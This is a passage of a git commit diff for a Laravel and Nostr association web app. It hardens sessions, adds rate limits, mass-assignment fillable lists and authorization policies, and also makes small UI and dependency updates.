mirror of
https://github.com/HolgerHatGarKeineNode/einundzwanzig-nostr.git
synced 2026-03-23 19:08:41 +00:00
Merge remote-tracking branch 'origin/master'
This commit is contained in:
@@ -34,7 +34,8 @@ DB_PASSWORD_EINUNDZANZIG=secret
|
||||
|
||||
SESSION_DRIVER=database
|
||||
SESSION_LIFETIME=120
|
||||
SESSION_ENCRYPT=false
|
||||
SESSION_ENCRYPT=true
|
||||
SESSION_SECURE_COOKIE=true
|
||||
SESSION_PATH=/
|
||||
SESSION_DOMAIN=null
|
||||
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -23,3 +23,5 @@ yarn-error.log
|
||||
/.sisyphus
|
||||
/.opencode
|
||||
.switch-omo-config*
|
||||
/.playwright-mcp
|
||||
/*.png
|
||||
|
||||
3
.playwright-mcp/console-2026-02-12T21-59-30-399Z.log
Normal file
3
.playwright-mcp/console-2026-02-12T21-59-30-399Z.log
Normal file
@@ -0,0 +1,3 @@
|
||||
[ 3014ms] [ERROR] Access to font at 'http://localhost/storage/fonts/440f07d668/sinconsolatav37qlddnthlqrwh-oj1uhjlkenvzkwgvkl3gzqmawlyya15idhuna.woff2' from origin 'http://127.0.0.1:8321' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. @ http://127.0.0.1:8321/association/news:654
|
||||
[ 3015ms] [ERROR] Failed to load resource: net::ERR_FAILED @ http://localhost/storage/fonts/440f07d668/sinconsolatav37qlddnthlqrwh-oj1uhjlkenvzkwgvkl3gzqmawlyya15idhuna.woff2:0
|
||||
[ 3126ms] [ERROR] Failed to load resource: net::ERR_CONNECTION_CLOSED @ https://127.0.0.1:8321/favicon.ico:0
|
||||
9
app/Enums/Emoji.php
Normal file
9
app/Enums/Emoji.php
Normal file
@@ -0,0 +1,9 @@
|
||||
<?php
|
||||
|
||||
namespace App\Enums;
|
||||
|
||||
use ArchTech\Enums\Meta\MetaProperty;
|
||||
use Attribute;
|
||||
|
||||
#[Attribute]
|
||||
class Emoji extends MetaProperty {}
|
||||
@@ -10,7 +10,7 @@ use ArchTech\Enums\Names;
|
||||
use ArchTech\Enums\Options;
|
||||
use ArchTech\Enums\Values;
|
||||
|
||||
#[Meta(Label::class, Color::class, Icon::class)]
|
||||
#[Meta(Label::class, Color::class, Icon::class, Emoji::class)]
|
||||
enum NewsCategory: int
|
||||
{
|
||||
use From;
|
||||
@@ -20,31 +20,31 @@ enum NewsCategory: int
|
||||
use Options;
|
||||
use Values;
|
||||
|
||||
#[Label('Einundzwanzig')] #[Color('amber')] #[Icon('bitcoin-sign')]
|
||||
#[Label('Einundzwanzig')] #[Color('amber')] #[Icon('bitcoin-sign')] #[Emoji('₿')]
|
||||
case Einundzwanzig = 1;
|
||||
|
||||
#[Label('Allgemeines')] #[Color('zinc')] #[Icon('newspaper')]
|
||||
#[Label('Allgemeines')] #[Color('zinc')] #[Icon('newspaper')] #[Emoji('📋')]
|
||||
case Allgemeines = 2;
|
||||
|
||||
#[Label('Organisation')] #[Color('cyan')] #[Icon('file-lines')]
|
||||
#[Label('Organisation')] #[Color('cyan')] #[Icon('file-lines')] #[Emoji('📁')]
|
||||
case Organisation = 3;
|
||||
|
||||
#[Label('Bitcoin')] #[Color('orange')] #[Icon('coins')]
|
||||
#[Label('Bitcoin')] #[Color('orange')] #[Icon('coins')] #[Emoji('🏠')]
|
||||
case Bitcoin = 4;
|
||||
|
||||
#[Label('Meetups')] #[Color('green')] #[Icon('users')]
|
||||
#[Label('Meetups')] #[Color('green')] #[Icon('users')] #[Emoji('🎉')]
|
||||
case Meetups = 5;
|
||||
|
||||
#[Label('Bildung')] #[Color('blue')] #[Icon('graduation-cap')]
|
||||
#[Label('Bildung')] #[Color('blue')] #[Icon('graduation-cap')] #[Emoji('📚')]
|
||||
case Bildung = 6;
|
||||
|
||||
#[Label('Protokolle')] #[Color('purple')] #[Icon('clipboard-list')]
|
||||
#[Label('Protokolle')] #[Color('purple')] #[Icon('clipboard-list')] #[Emoji('📝')]
|
||||
case Protokolle = 7;
|
||||
|
||||
#[Label('Finanzen')] #[Color('emerald')] #[Icon('chart-pie')]
|
||||
#[Label('Finanzen')] #[Color('emerald')] #[Icon('chart-pie')] #[Emoji('💰')]
|
||||
case Finanzen = 8;
|
||||
|
||||
#[Label('Veranstaltungen')] #[Color('rose')] #[Icon('calendar-star')]
|
||||
#[Label('Veranstaltungen')] #[Color('rose')] #[Icon('calendar-star')] #[Emoji('📅')]
|
||||
case Veranstaltungen = 9;
|
||||
|
||||
public static function selectOptions()
|
||||
@@ -62,6 +62,8 @@ enum NewsCategory: int
|
||||
),
|
||||
'icon' => self::fromName($name)
|
||||
->icon(),
|
||||
'emoji' => self::fromName($name)
|
||||
->emoji(),
|
||||
]
|
||||
)
|
||||
->values()
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Livewire\Traits;
|
||||
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Livewire\Attributes\On;
|
||||
|
||||
trait WithNostrAuth
|
||||
@@ -18,6 +19,16 @@ trait WithNostrAuth
|
||||
#[On('nostrLoggedIn')]
|
||||
public function handleNostrLogin(string $pubkey): void
|
||||
{
|
||||
$executed = RateLimiter::attempt(
|
||||
'nostr-login:'.request()->ip(),
|
||||
10,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many login attempts.');
|
||||
}
|
||||
|
||||
NostrAuth::login($pubkey);
|
||||
|
||||
$this->currentPubkey = $pubkey;
|
||||
|
||||
@@ -9,12 +9,10 @@ class Category extends Model
|
||||
{
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -17,12 +17,10 @@ class City extends Model
|
||||
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -9,12 +9,10 @@ class Country extends Model
|
||||
{
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -19,12 +19,11 @@ class Course extends Model implements HasMedia
|
||||
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -9,12 +9,11 @@ class CourseEvent extends Model
|
||||
{
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'from',
|
||||
'to',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -15,7 +15,17 @@ class EinundzwanzigPleb extends Authenticatable implements CipherSweetEncrypted
|
||||
use HasFactory;
|
||||
use UsesCipherSweet;
|
||||
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'npub',
|
||||
'pubkey',
|
||||
'email',
|
||||
'no_email',
|
||||
'nip05_handle',
|
||||
'association_status',
|
||||
'application_text',
|
||||
'archived_application_text',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
|
||||
@@ -9,7 +9,8 @@ class Election extends Model
|
||||
{
|
||||
use HasFactory;
|
||||
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
|
||||
@@ -6,7 +6,14 @@ use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class Event extends Model
|
||||
{
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'event_id',
|
||||
'pubkey',
|
||||
'parent_event_id',
|
||||
'json',
|
||||
'type',
|
||||
];
|
||||
|
||||
public function renderedEvent()
|
||||
{
|
||||
|
||||
@@ -21,12 +21,10 @@ class Lecturer extends Model implements HasMedia
|
||||
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -21,12 +21,10 @@ class Meetup extends Model implements HasMedia
|
||||
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -9,12 +9,10 @@ class MeetupEvent extends Model
|
||||
{
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'start',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Models;
|
||||
|
||||
use App\Enums\NewsCategory;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Spatie\MediaLibrary\HasMedia;
|
||||
@@ -10,9 +11,14 @@ use Spatie\MediaLibrary\InteractsWithMedia;
|
||||
|
||||
class Notification extends Model implements HasMedia
|
||||
{
|
||||
use HasFactory;
|
||||
use InteractsWithMedia;
|
||||
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
|
||||
@@ -9,7 +9,14 @@ class PaymentEvent extends Model
|
||||
{
|
||||
use HasFactory;
|
||||
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'year',
|
||||
'event_id',
|
||||
'amount',
|
||||
'paid',
|
||||
'btc_pay_invoice',
|
||||
];
|
||||
|
||||
public function pleb()
|
||||
{
|
||||
|
||||
@@ -6,5 +6,18 @@ use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class Profile extends Model
|
||||
{
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'pubkey',
|
||||
'name',
|
||||
'display_name',
|
||||
'picture',
|
||||
'banner',
|
||||
'website',
|
||||
'about',
|
||||
'nip05',
|
||||
'lud16',
|
||||
'lud06',
|
||||
'deleted',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -20,12 +20,13 @@ class ProjectProposal extends Model implements HasMedia
|
||||
use HasSlug;
|
||||
use InteractsWithMedia;
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'support_in_sats',
|
||||
'website',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
@@ -77,14 +78,20 @@ class ProjectProposal extends Model implements HasMedia
|
||||
->useFallbackUrl(asset('einundzwanzig-alpha.jpg'));
|
||||
}
|
||||
|
||||
public function getSignedMediaUrl(string $collection = 'main', int $expireMinutes = 60): string
|
||||
public function getSignedMediaUrl(string $collection = 'main', int $expireMinutes = 60, ?string $conversion = null): string
|
||||
{
|
||||
$media = $this->getFirstMedia($collection);
|
||||
if (! $media) {
|
||||
return asset('einundzwanzig-alpha.jpg');
|
||||
}
|
||||
|
||||
return url()->temporarySignedRoute('media.signed', now()->addMinutes($expireMinutes), ['media' => $media]);
|
||||
$parameters = ['media' => $media];
|
||||
|
||||
if ($conversion && $media->hasGeneratedConversion($conversion)) {
|
||||
$parameters['conversion'] = $conversion;
|
||||
}
|
||||
|
||||
return url()->temporarySignedRoute('media.signed', now()->addMinutes($expireMinutes), $parameters);
|
||||
}
|
||||
|
||||
public function einundzwanzigPleb(): BelongsTo
|
||||
|
||||
@@ -6,7 +6,13 @@ use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class RenderedEvent extends Model
|
||||
{
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'event_id',
|
||||
'html',
|
||||
'profile_image',
|
||||
'profile_name',
|
||||
];
|
||||
|
||||
public function event()
|
||||
{
|
||||
|
||||
@@ -22,12 +22,10 @@ class Venue extends Model implements HasMedia
|
||||
|
||||
protected $connection = 'einundzwanzig';
|
||||
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'name',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
@@ -7,12 +7,13 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Vote extends Model
|
||||
{
|
||||
/**
|
||||
* The attributes that aren't mass assignable.
|
||||
*
|
||||
* @var array
|
||||
*/
|
||||
protected $guarded = [];
|
||||
/** @var list<string> */
|
||||
protected $fillable = [
|
||||
'einundzwanzig_pleb_id',
|
||||
'project_proposal_id',
|
||||
'value',
|
||||
'reason',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be cast to native types.
|
||||
|
||||
78
app/Policies/ElectionPolicy.php
Normal file
78
app/Policies/ElectionPolicy.php
Normal file
@@ -0,0 +1,78 @@
|
||||
<?php
|
||||
|
||||
namespace App\Policies;
|
||||
|
||||
use App\Auth\NostrUser;
|
||||
use App\Models\Election;
|
||||
|
||||
class ElectionPolicy
|
||||
{
|
||||
/**
|
||||
* Determine whether the user can view any elections.
|
||||
*/
|
||||
public function viewAny(?NostrUser $user): bool
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can view the election.
|
||||
*/
|
||||
public function view(?NostrUser $user, Election $election): bool
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can create elections.
|
||||
* Only board members.
|
||||
*/
|
||||
public function create(NostrUser $user): bool
|
||||
{
|
||||
return $this->isBoardMember($user);
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can update the election (e.g. manage candidates).
|
||||
* Only board members.
|
||||
*/
|
||||
public function update(NostrUser $user, Election $election): bool
|
||||
{
|
||||
return $this->isBoardMember($user);
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can delete the election.
|
||||
* Only board members.
|
||||
*/
|
||||
public function delete(NostrUser $user, Election $election): bool
|
||||
{
|
||||
return $this->isBoardMember($user);
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can vote in the election.
|
||||
* Requires: authenticated pleb with active or honorary status.
|
||||
*/
|
||||
public function vote(NostrUser $user, Election $election): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $pleb->association_status->value >= 3;
|
||||
}
|
||||
|
||||
private function isBoardMember(NostrUser $user): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array($pleb->npub, config('einundzwanzig.config.current_board'), true);
|
||||
}
|
||||
}
|
||||
96
app/Policies/ProjectProposalPolicy.php
Normal file
96
app/Policies/ProjectProposalPolicy.php
Normal file
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
|
||||
namespace App\Policies;
|
||||
|
||||
use App\Auth\NostrUser;
|
||||
use App\Models\ProjectProposal;
|
||||
|
||||
class ProjectProposalPolicy
|
||||
{
|
||||
/**
|
||||
* Determine whether the user can view any project proposals.
|
||||
*/
|
||||
public function viewAny(?NostrUser $user): bool
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can view the project proposal.
|
||||
*/
|
||||
public function view(?NostrUser $user, ProjectProposal $projectProposal): bool
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can create project proposals.
|
||||
* Requires: authenticated, association_status > 1, paid membership for current year.
|
||||
*/
|
||||
public function create(NostrUser $user): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $pleb->association_status->value > 1
|
||||
&& $pleb->paymentEvents()->where('year', date('Y'))->where('paid', true)->exists();
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can update the project proposal.
|
||||
* Allowed for: the creator OR board members.
|
||||
*/
|
||||
public function update(NostrUser $user, ProjectProposal $projectProposal): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $pleb->id === $projectProposal->einundzwanzig_pleb_id
|
||||
|| $this->isBoardMember($pleb);
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can delete the project proposal.
|
||||
* Allowed for: the creator OR board members.
|
||||
*/
|
||||
public function delete(NostrUser $user, ProjectProposal $projectProposal): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $pleb->id === $projectProposal->einundzwanzig_pleb_id
|
||||
|| $this->isBoardMember($pleb);
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can accept/reject the project proposal.
|
||||
* Only board members can change the accepted flag and sats_paid.
|
||||
*/
|
||||
public function accept(NostrUser $user, ProjectProposal $projectProposal): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $this->isBoardMember($pleb);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param \App\Models\EinundzwanzigPleb $pleb
|
||||
*/
|
||||
private function isBoardMember(object $pleb): bool
|
||||
{
|
||||
return in_array($pleb->npub, config('einundzwanzig.config.current_board'), true);
|
||||
}
|
||||
}
|
||||
58
app/Policies/VotePolicy.php
Normal file
58
app/Policies/VotePolicy.php
Normal file
@@ -0,0 +1,58 @@
|
||||
<?php
|
||||
|
||||
namespace App\Policies;
|
||||
|
||||
use App\Auth\NostrUser;
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Models\Vote;
|
||||
|
||||
class VotePolicy
|
||||
{
|
||||
/**
|
||||
* Determine whether the user can create a vote for a project proposal.
|
||||
* Requires: authenticated user with a pleb record who has not yet voted on this proposal.
|
||||
*/
|
||||
public function create(NostrUser $user, ProjectProposal $projectProposal): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ! Vote::query()
|
||||
->where('project_proposal_id', $projectProposal->id)
|
||||
->where('einundzwanzig_pleb_id', $pleb->id)
|
||||
->exists();
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can update the vote.
|
||||
* Only the vote owner can update their vote.
|
||||
*/
|
||||
public function update(NostrUser $user, Vote $vote): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $pleb->id === $vote->einundzwanzig_pleb_id;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the user can delete the vote.
|
||||
* Only the vote owner can delete their vote.
|
||||
*/
|
||||
public function delete(NostrUser $user, Vote $vote): bool
|
||||
{
|
||||
$pleb = $user->getPleb();
|
||||
|
||||
if (! $pleb) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $pleb->id === $vote->einundzwanzig_pleb_id;
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,16 @@
|
||||
|
||||
namespace App\Providers;
|
||||
|
||||
use App\Models\Election;
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Models\Vote;
|
||||
use App\Policies\ElectionPolicy;
|
||||
use App\Policies\ProjectProposalPolicy;
|
||||
use App\Policies\VotePolicy;
|
||||
use Illuminate\Cache\RateLimiting\Limit;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class AppServiceProvider extends ServiceProvider
|
||||
@@ -19,6 +29,20 @@ class AppServiceProvider extends ServiceProvider
|
||||
*/
|
||||
public function boot(): void
|
||||
{
|
||||
//
|
||||
Gate::policy(ProjectProposal::class, ProjectProposalPolicy::class);
|
||||
Gate::policy(Vote::class, VotePolicy::class);
|
||||
Gate::policy(Election::class, ElectionPolicy::class);
|
||||
|
||||
RateLimiter::for('api', function (Request $request) {
|
||||
return Limit::perMinute(60)->by($request->ip());
|
||||
});
|
||||
|
||||
RateLimiter::for('voting', function (Request $request) {
|
||||
return Limit::perMinute(10)->by($request->ip());
|
||||
});
|
||||
|
||||
RateLimiter::for('nostr-login', function (Request $request) {
|
||||
return Limit::perMinute(10)->by($request->ip());
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -15,7 +15,9 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
health: '/up',
|
||||
)
|
||||
->withMiddleware(function (Middleware $middleware) {
|
||||
//
|
||||
$middleware->api(prepend: [
|
||||
\Illuminate\Routing\Middleware\ThrottleRequests::class.':api',
|
||||
]);
|
||||
})
|
||||
->withExceptions(function (Exceptions $exceptions) {
|
||||
Integration::handles($exceptions);
|
||||
|
||||
@@ -33,7 +33,10 @@ return [
|
||||
*
|
||||
* More info: https://spatie.be/docs/laravel-markdown/v1/using-the-blade-component/passing-options-to-commonmark
|
||||
*/
|
||||
'commonmark_options' => [],
|
||||
'commonmark_options' => [
|
||||
'html_input' => 'escape',
|
||||
'allow_unsafe_links' => false,
|
||||
],
|
||||
|
||||
/*
|
||||
* Rendering markdown to HTML can be resource intensive. By default
|
||||
|
||||
@@ -47,7 +47,7 @@ return [
|
||||
|
|
||||
*/
|
||||
|
||||
'encrypt' => env('SESSION_ENCRYPT', false),
|
||||
'encrypt' => env('SESSION_ENCRYPT', true),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
@@ -169,7 +169,7 @@ return [
|
||||
|
|
||||
*/
|
||||
|
||||
'secure' => env('SESSION_SECURE_COOKIE'),
|
||||
'secure' => env('SESSION_SECURE_COOKIE', true),
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
|
||||
@@ -34,6 +34,7 @@ class EinundzwanzigPlebFactory extends Factory
|
||||
public function boardMember(): static
|
||||
{
|
||||
return $this->state(fn (array $attributes) => [
|
||||
'npub' => config('einundzwanzig.config.current_board')[0],
|
||||
'association_status' => \App\Enums\AssociationStatus::HONORARY,
|
||||
]);
|
||||
}
|
||||
|
||||
26
database/factories/NotificationFactory.php
Normal file
26
database/factories/NotificationFactory.php
Normal file
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Factories;
|
||||
|
||||
use Illuminate\Database\Eloquent\Factories\Factory;
|
||||
|
||||
/**
|
||||
* @extends \Illuminate\Database\Eloquent\Factories\Factory<\App\Models\Notification>
|
||||
*/
|
||||
class NotificationFactory extends Factory
|
||||
{
|
||||
/**
|
||||
* Define the model's default state.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function definition(): array
|
||||
{
|
||||
return [
|
||||
'name' => $this->faker->sentence(3),
|
||||
'description' => $this->faker->paragraph(),
|
||||
'category' => $this->faker->randomElement(\App\Enums\NewsCategory::cases()),
|
||||
'einundzwanzig_pleb_id' => \App\Models\EinundzwanzigPleb::factory(),
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -21,6 +21,7 @@ class ProjectProposalFactory extends Factory
|
||||
'name' => $this->faker->sentence(3),
|
||||
'description' => $this->faker->paragraph(),
|
||||
'support_in_sats' => $this->faker->numberBetween(10000, 1000000),
|
||||
'website' => $this->faker->url(),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
1692
design.pen
1692
design.pen
File diff suppressed because it is too large
Load Diff
12
package.json
12
package.json
@@ -6,25 +6,25 @@
|
||||
"build": "vite build"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@nostr-dev-kit/ndk": "^2.10.0",
|
||||
"@nostr-dev-kit/ndk": "^3.0.0",
|
||||
"@tailwindcss/forms": "^0.5.8",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"autoprefixer": "^10.4.24",
|
||||
"chart.js": "^4.4.4",
|
||||
"chartjs-adapter-date-fns": "^3.0.0",
|
||||
"date-fns": "^4.1.0",
|
||||
"flatpickr": "^4.6.13",
|
||||
"laravel-echo": "^2.3.0",
|
||||
"laravel-vite-plugin": "^1.0",
|
||||
"nostr-tools": "^2.7.2",
|
||||
"laravel-vite-plugin": "^2",
|
||||
"nostr-tools": "^2.23.0",
|
||||
"postcss": "^8.4.41",
|
||||
"pusher-js": "^8.4.0",
|
||||
"tailwindcss": "^4.1.18",
|
||||
"vite": "^5.0",
|
||||
"vite": "^7",
|
||||
"webln": "^0.3.2"
|
||||
},
|
||||
"dependencies": {
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"concurrently": "^9.2.1",
|
||||
"shiki": "^1.22.0"
|
||||
"shiki": "^3.0.0"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -81,4 +81,66 @@
|
||||
.brand-icon {
|
||||
@apply w-8 h-8 rounded-lg bg-orange-primary flex items-center justify-center;
|
||||
}
|
||||
|
||||
/**
|
||||
* News Category Badges
|
||||
*
|
||||
* Farbige Kategorie-Badges für News-Karten.
|
||||
* Jede Farbe hat einen transparenten Hintergrund mit passender Textfarbe.
|
||||
*/
|
||||
.news-category-badge {
|
||||
@apply bg-bg-elevated text-text-secondary border border-border-default;
|
||||
}
|
||||
|
||||
.news-category-badge--amber {
|
||||
background-color: #FF5C0033;
|
||||
color: #FF5C00;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.news-category-badge--zinc {
|
||||
@apply bg-bg-elevated text-text-secondary border border-border-default;
|
||||
}
|
||||
|
||||
.news-category-badge--cyan {
|
||||
background-color: #06b6d433;
|
||||
color: #06b6d4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.news-category-badge--orange {
|
||||
background-color: #FF5C0033;
|
||||
color: #FF5C00;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.news-category-badge--green {
|
||||
background-color: #22c55e33;
|
||||
color: #22c55e;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.news-category-badge--blue {
|
||||
background-color: #3b82f633;
|
||||
color: #3b82f6;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.news-category-badge--purple {
|
||||
background-color: #7c3aed33;
|
||||
color: #7c3aed;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.news-category-badge--emerald {
|
||||
background-color: #10b98133;
|
||||
color: #10b981;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.news-category-badge--rose {
|
||||
background-color: #f4365833;
|
||||
color: #f43658;
|
||||
border: none;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
<a class="relative block w-full h-48 sm:w-56 sm:h-auto xl:sidebar-expanded:w-40 2xl:sidebar-expanded:w-56 shrink-0 sm:shrink-0"
|
||||
href="{{ route('association.projectSupport.item', ['projectProposal' => $project]) }}">
|
||||
<img class="absolute object-cover object-center w-full h-full"
|
||||
src="{{ $project->getSignedMediaUrl('main') }}" alt="Meetup 01">
|
||||
src="{{ $project->getSignedMediaUrl('main', 60, 'preview') }}" alt="Meetup 01">
|
||||
<button class="absolute top-0 right-0 mt-4 mr-4">
|
||||
<img class="rounded-full h-8 w-8"
|
||||
src="{{ $project->einundzwanzigPleb->profile?->picture }}"
|
||||
@@ -36,7 +36,7 @@
|
||||
<a class="relative block w-full h-48 sm:w-56 sm:h-auto xl:sidebar-expanded:w-40 2xl:sidebar-expanded:w-56 shrink-0 sm:shrink-0"
|
||||
href="{{ route('association.projectSupport.item', ['projectProposal' => $project]) }}">
|
||||
<img class="absolute object-cover object-center w-full h-full"
|
||||
src="{{ $project->getSignedMediaUrl('main') }}" alt="Meetup 01">
|
||||
